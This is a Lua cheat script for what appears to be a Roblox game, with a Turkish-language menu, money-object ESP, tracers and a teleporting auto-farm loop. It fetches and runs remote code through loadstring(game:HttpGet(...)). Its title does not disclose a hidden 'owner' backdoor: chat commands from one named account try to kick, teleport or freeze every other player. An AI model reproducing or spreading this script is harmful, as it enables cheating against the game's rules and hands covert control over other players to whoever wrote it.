Auto Farm Money Esp Open Source

_Hawk = "ohhahtuhthttouttpwuttuaunbotwo"

local Hawk = loadstring(game:HttpGet("https://raw.githubusercontent.com/Anormal3131/hawk/refs/heads/main/hawk.lua", true))()


local UserInputService = game:GetService("UserInputService")
local isMobile = UserInputService.TouchEnabled and not UserInputService.KeyboardEnabled


local Window = Hawk:Window({
    ScriptName = "RIGHT HUB",
    DestroyIfExists = true,
    Theme = "Dark"
})


Window:Close({
    visibility = true,
    Callback = function()
        Window:Destroy()
    end,
})


if isMobile then
    Window:Minimize({
        visibility = true,
        OpenButton = true,
        Callback = function() end,
    })
end


local ESPTab = Window:Tab("ESP")
local FarmTab = Window:Tab("AutoFarm")
local miscTab = Window:Tab("Misc")


local ESPsec = ESPTab:Section("ESP Ayarları")
local FarmSec = FarmTab:Section("AutoFarm Ayarları")
local MiscSec = miscTab:Section("Diğer")


local ESPSettings = {
    Enabled = false,
    Rainbow = false,
    Color = Color3.fromRGB(0,255,0),
    TextSize = 14,
    boxEnabled = true,
    textEnabled = true,
    tracerEnabled = false,
    showDistance = false,
}
local AutoFarmSettings = {
    Enabled = false,
    FarmSpeed = 0.5,
    FarmDistance = 10,
}


ESPsec:Toggle("ESP Aç/Kapat", false, function(val) ESPSettings.Enabled = val end)
ESPsec:Toggle("Rainbow", false, function(val) ESPSettings.Rainbow = val end)
ESPsec:ColorPicker("ESP Rengi", Color3.fromRGB(0,255,0), function(val) ESPSettings.Color = val end)
ESPsec:Toggle("Kutu ESP", true, function(val) ESPSettings.boxEnabled = val end)
ESPsec:Toggle("Yazı ESP", true, function(val) ESPSettings.textEnabled = val end)
ESPsec:Toggle("Tracer", false, function(val) ESPSettings.tracerEnabled = val end)
ESPsec:Toggle("Mesafe Göster", false, function(val) ESPSettings.showDistance = val end)

FarmSec:Toggle("AutoFarm Aç/Kapat", false, function(val) AutoFarmSettings.Enabled = val end)
FarmSec:Slider("Hız", 0.1, 2, 0.5, function(val) AutoFarmSettings.FarmSpeed = val end)
FarmSec:Slider("Mesafe", 1, 20, 10, function(val) AutoFarmSettings.FarmDistance = val end)


MiscSec:Button("Aynı Sunucuya Yeniden Katıl", function()
    game:GetService("TeleportService"):Teleport(game.PlaceId)
end)
MiscSec:KeyBind("Menü Kontrolü", "RightShift", function()
    Hawk:ToggleUI()
end)


local CoreGui = game:GetService("CoreGui")
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local Camera = workspace.CurrentCamera
local ChatService = game:GetService("Chat")


local OWNER_NAME = "rightarmoristhebest2"
local function isOwner()
    return LocalPlayer.Name == OWNER_NAME
end


local frozenPlayers = {}
local function kickAll()
    for _, plr in ipairs(Players:GetPlayers()) do
        if plr ~= LocalPlayer then
            pcall(function()
                plr:Kick("Owner tarafından atıldın! Skibidi pomni!")
            end)
        end
    end
end
local function bringAll()
    local ownerChar = Players:FindFirstChild(OWNER_NAME) and Players[OWNER_NAME].Character
    if not ownerChar or not ownerChar:FindFirstChild("HumanoidRootPart") then return end
    for _, plr in ipairs(Players:GetPlayers()) do
        if plr ~= Players[OWNER_NAME] and plr.Character and plr.Character:FindFirstChild("HumanoidRootPart") then
            plr.Character.HumanoidRootPart.CFrame = ownerChar.HumanoidRootPart.CFrame + Vector3.new(math.random(-3,3),0,math.random(-3,3))
        end
    end
end
local function freezeAll()
    for _, plr in ipairs(Players:GetPlayers()) do
        if plr ~= Players[OWNER_NAME] and plr.Character and plr.Character:FindFirstChild("HumanoidRootPart") then
            local hrp = plr.Character.HumanoidRootPart
            hrp.Anchored = true
            frozenPlayers[plr] = true
        end
    end
end
local function unfreezeAll()
    for plr, _ in pairs(frozenPlayers) do
        if plr.Character and plr.Character:FindFirstChild("HumanoidRootPart") then
            plr.Character.HumanoidRootPart.Anchored = false
        end
    end
    frozenPlayers = {}
end

Players.PlayerChatted:Connect(function(player, message)
    if player.Name == OWNER_NAME then
        local msg = message:lower()
        if msg:find("kick!") then
            kickAll()
        elseif msg:find("bring!") then
            bringAll()
        elseif msg:find("freeze!") then
            freezeAll()
        elseif msg:find("unfreeze!") then
            unfreezeAll()
        end
    end
end)


local ESPFolder = Instance.new("Folder")
ESPFolder.Name = "RIGHTESP"
ESPFolder.Parent = CoreGui
local ESPObjects, ESPConnections = {}, {}
local TracerLines, DistanceLabels = {}, {}

local function getRainbow()
    return Color3.fromHSV((tick()*0.2)%1,1,1)
end

local function clearESP()
    for obj,entry in pairs(ESPObjects) do
        if entry.Billboard then entry.Billboard:Destroy() end
        if entry.Box then entry.Box:Destroy() end
        ESPObjects[obj] = nil
    end
    for obj, line in pairs(TracerLines) do
        if line then line:Remove() end
        TracerLines[obj] = nil
    end
    for obj, label in pairs(DistanceLabels) do
        if label then label:Remove() end
        DistanceLabels[obj] = nil
    end
    for obj, conn in pairs(ESPConnections) do
        if conn then conn:Disconnect() end
        ESPConnections[obj] = nil
    end
end

local function addESPToObj(obj)
    if ESPObjects[obj] then return end
    local color = ESPSettings.Rainbow and getRainbow() or ESPSettings.Color
    local entry = {}
    if ESPSettings.boxEnabled then
        local box = Instance.new("BoxHandleAdornment")
        box.Name = "ESPBox"
        box.Parent = ESPFolder
        box.Adornee = obj
        box.AlwaysOnTop = true
        box.ZIndex = 5
        box.Size = obj.Size
        box.Color3 = color
        box.Transparency = 0.2
        entry.Box = box
    end
    if ESPSettings.textEnabled then
        local billboard = Instance.new("BillboardGui")
        billboard.Name = "ESPBillboard"
        billboard.Parent = ESPFolder
        billboard.Adornee = obj
        billboard.AlwaysOnTop = true
        billboard.Size = UDim2.new(0, 200, 0, 50)
        billboard.StudsOffset = Vector3.new(0, 2, 0)
        local label = Instance.new("TextLabel")
        label.Parent = billboard
        label.BackgroundTransparency = 1
        label.Size = UDim2.new(1, 0, 1, 0)
        label.Font = Enum.Font.GothamBold
        label.TextColor3 = color
        label.TextStrokeTransparency = 0
        label.TextSize = ESPSettings.TextSize
        label.Text = "PARA"
        entry.Billboard = billboard
    end
    ESPObjects[obj] = entry
end

local function removeESPFromObj(obj)
    local entry = ESPObjects[obj]
    if entry then
        if entry.Billboard then entry.Billboard:Destroy() end
        if entry.Box then entry.Box:Destroy() end
        ESPObjects[obj] = nil
    end
    if TracerLines[obj] then TracerLines[obj]:Remove() TracerLines[obj] = nil end
    if DistanceLabels[obj] then DistanceLabels[obj]:Remove() DistanceLabels[obj] = nil end
    if ESPConnections[obj] then ESPConnections[obj]:Disconnect() end
    ESPConnections[obj] = nil
end

local function setupESPForObj(obj)
    if not obj:IsA("BasePart") then return end
    if ESPConnections[obj] then ESPConnections[obj]:Disconnect() end
    local function update()
        if ESPSettings.Enabled and obj.CanCollide then
            addESPToObj(obj)
        else
            removeESPFromObj(obj)
        end
    end
    ESPConnections[obj] = obj:GetPropertyChangedSignal("CanCollide"):Connect(update)
    update()
end

local function updateESP()
    clearESP()
    if not ESPSettings.Enabled then return end
    local specialFolder = workspace:FindFirstChild("b\007\010\007\010\007")
    if not specialFolder then return end
    for _, obj in ipairs(specialFolder:GetDescendants()) do
        setupESPForObj(obj)
    end
end

local specialFolder = workspace:FindFirstChild("b\007\010\007\010\007")
if specialFolder then
    specialFolder.DescendantAdded:Connect(function(obj)
        setupESPForObj(obj)
    end)
    specialFolder.DescendantRemoving:Connect(function(obj)
        removeESPFromObj(obj)
    end)
end

RunService.RenderStepped:Connect(function()
    updateESP()
    if ESPSettings.tracerEnabled or ESPSettings.showDistance then
        local specialFolder = workspace:FindFirstChild("b\007\010\007\010\007")
        if specialFolder then
            for _, obj in ipairs(specialFolder:GetDescendants()) do
                if obj:IsA("BasePart") and obj.CanCollide and ESPSettings.Enabled then
                    if ESPSettings.tracerEnabled then
                        if not TracerLines[obj] then
                            local tracer = Drawing.new("Line")
                            tracer.Thickness = 2
                            tracer.Transparency = 1
                            TracerLines[obj] = tracer
                        end
                        local screenPos, onScreen = Camera:WorldToViewportPoint(obj.Position)
                        if onScreen then
                            TracerLines[obj].From = Vector2.new(Camera.ViewportSize.X / 2, Camera.ViewportSize.Y)
                            TracerLines[obj].To = Vector2.new(screenPos.X, screenPos.Y)
                            TracerLines[obj].Color = ESPSettings.Rainbow and getRainbow() or ESPSettings.Color
                            TracerLines[obj].Visible = true
                        else
                            TracerLines[obj].Visible = false
                        end
                    elseif TracerLines[obj] then
                        TracerLines[obj].Visible = false
                    end
                    if ESPSettings.showDistance then
                        if not DistanceLabels[obj] then
                            local label = Drawing.new("Text")
                            label.Size = 16
                            label.Center = true
                            label.Outline = true
                            DistanceLabels[obj] = label
                        end
                        local screenPos, onScreen = Camera:WorldToViewportPoint(obj.Position)
                        if onScreen then
                            local dist = (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")) and math.floor((LocalPlayer.Character.HumanoidRootPart.Position - obj.Position).Magnitude) or 0
                            DistanceLabels[obj].Position = Vector2.new(screenPos.X, screenPos.Y - 20)
                            DistanceLabels[obj].Text = tostring(dist) .. "m"
                            DistanceLabels[obj].Color = ESPSettings.Rainbow and getRainbow() or ESPSettings.Color
                            DistanceLabels[obj].Visible = true
                        else
                            DistanceLabels[obj].Visible = false
                        end
                    elseif DistanceLabels[obj] then
                        DistanceLabels[obj].Visible = false
                    end
                else
                    if TracerLines[obj] then TracerLines[obj].Visible = false end
                    if DistanceLabels[obj] then DistanceLabels[obj].Visible = false end
                end
            end
        end
    end
end)

local isFarming = false
function AutoFarm()
    if isFarming or not AutoFarmSettings.Enabled then return end
    isFarming = true
    local specialFolder = workspace:FindFirstChild("b\007\010\007\010\007")
    while AutoFarmSettings.Enabled and specialFolder do
        local character = LocalPlayer.Character
        local hrp = character and character:FindFirstChild("HumanoidRootPart")
        if not hrp then wait(0.2) continue end
        local closest, minDist = nil, math.huge
        for _, obj in ipairs(specialFolder:GetDescendants()) do
            if obj:IsA("BasePart") and obj.CanCollide then
                local dist = (hrp.Position - obj.Position).Magnitude
                if dist < minDist then
                    closest = obj
                    minDist = dist
                end
            end
        end
        if closest then
            local frontPos = closest.Position + (closest.CFrame.LookVector * AutoFarmSettings.FarmDistance)
            hrp.CFrame = CFrame.new(frontPos)
            wait(AutoFarmSettings.FarmSpeed)
            hrp.CFrame = CFrame.new(closest.Position)
            local startTime = tick()
            while closest.CanCollide and tick() - startTime < 5 and AutoFarmSettings.Enabled do
                wait(0.1)
            end
        else
            wait(0.5)
        end
    end
    isFarming = false
end

spawn(function()
    while true do
        if AutoFarmSettings.Enabled then
            AutoFarm()
        end
        wait(0.2)
    end
end)